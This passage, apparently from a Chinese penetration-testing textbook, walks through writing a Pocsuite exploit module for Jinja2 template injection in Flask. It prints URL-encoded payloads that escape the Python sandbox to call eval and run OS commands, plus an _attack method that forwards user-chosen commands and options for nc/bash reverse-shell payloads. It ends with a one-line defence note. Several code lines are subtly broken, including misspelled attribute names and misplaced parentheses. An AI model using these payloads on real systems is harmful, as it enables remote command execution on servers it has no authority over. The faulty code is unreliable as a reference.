EXP脚本的编写与POC脚本编写一样,只需要修改_attack部分,替换成漏洞利用的脚本即可。要利用Flask漏洞,需要用到Python的特性。关于如何在Jinja2模板中执行Python代码,官方给出的方法是在模板环境中注册函数就可以进行调用。
Jinja2模板访问Python的内置变量并调用时,需要用到Python沙盒逃逸方法,具体参数如下所示。
·__bases__:以元组返回一个类所直接继承的类。
·__mro__:以元组返回继承关系链。
·__class__:返回对象所属的类。
·__globals__:以dict返回函数所在模块命名空间中的所有变量。
·__subclasses__():以列表返回类的子类。
·_builtins_:内建函数。
Python中可以直接运行一些函数,如int()、list()等,这些函数可以在__builtins__中查到。查看的方法是dir(__builtins__)。利用Python的特性,渗透测试的思路是利用_builtins_的特性得到eval,如下所示:
for c in ().__class__.__base__[0].__subclass__(): if c.__name__=='_IterationGuard': c.__init__.__globals__['__builtins__']['eval']("__import__('os').system ('whoami')")
再将其转为Jinja2语法格式。Jinja2的语法与Python语法相似,但在每个语句的开始和结束处需要使用{{%%}}括起来,转化后的代码如下所示:
{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20%}%20{%' \ '%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__ builtins__%27]' \ '[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end- if%20%}%20{%' \ '%20endfor%20%}
最后将此EXP写到_attack方法中,便完成了EXP的编写,如下所示:
def __attack(self): '''attack mode''' result = {} path = "/?name=" url = self.url + path payload = '{%%20for%20c%20in%20[].__class__.__base__.__subclass__()%20 %}%20{%' \ '%20if%20c.__name__==%27_IterationGuard%27%20%}%20{{%20c.__init__.__globals__[%27__ builtins__%27]' \ '[%27eval%27]("__import__(%27os%27).popen(%27whoami%27.read()")%20%%}%20{%%20end- if%20%}%20{%' \ '%20endfor%20%}' try: resq = requests.get(url + payload) if resq and resq.status_code == 200 and "www" in resq.text: result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = payload except Exception,e: pass return self.parse_output(result)
如此便完成了Pocsuite的POC和EXP编写,程序运行结果如图3-4所示。
图3-4 Pocsuite利用脚本
利用Pocsuite 3开源框架,可以接收用户输入的命令行参数,对目标系统进行半交互控制,具体实现过程如下所示。
首先,根据官方文档说明,编写一个接收自定义命令的函数,将接收到的命令赋值给command参数。
def _options(self): o = OrderedDict() payload = { "nc": REVERSE_PAYLOAD.NC, "bash": REVERSE_PAYLOAD.BASH, } o["command"] = OptDict(selected="bash", default=payload) return o
接下来,创造一个cmd变量,用于接收用户输入的command命令参数,并嵌入payload字符串中。将写好的payload与url地址拼接,并通过request函数发送到目标系统,这样就能够在目标系统中执行命令了。最后,将命令执行结果输出。代码如下所示:
def _attack(self): result = {} path = "?name=" url = self.url + path #print(url) cmd = self.get_option("command") payload = '%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__ subclasses__()'\ '%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings% 27%20%25%7D%0A%20%20%7B%25%20'\ 'for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B %25%20if%20b.__class__'\ '%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20 %27eval%27%20in%20b.keys()'\ '%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__ ("os").popen("'+cmd+'").read()%27)'\ '%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif %20%25%7D%0A%20%20%7B%25%20endfor'\ '%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D' try: resq = requests.get(url + payload) t = resq.text t = t.replace('\n', '').replace('\r', '') print(t) t = t.replace(" ","") result['VerifyInfo'] = {} result['VerifyInfo']['URL'] = url result['VerifyInfo']['Name'] = t except Exception as e: return
执行命令pocsuite-r 1.py-u=http://x.x.x.x:8000/--attack--command'id'=,最终效果如图3-5所示。
图3-5 执行EXP攻击
Flask漏洞主要利用了框架的特点,在Flask中,“{{}}”中的内容会被当作代码执行,相应的防御中就需要对“{{}}”进行过滤,禁止此符号传入参数中。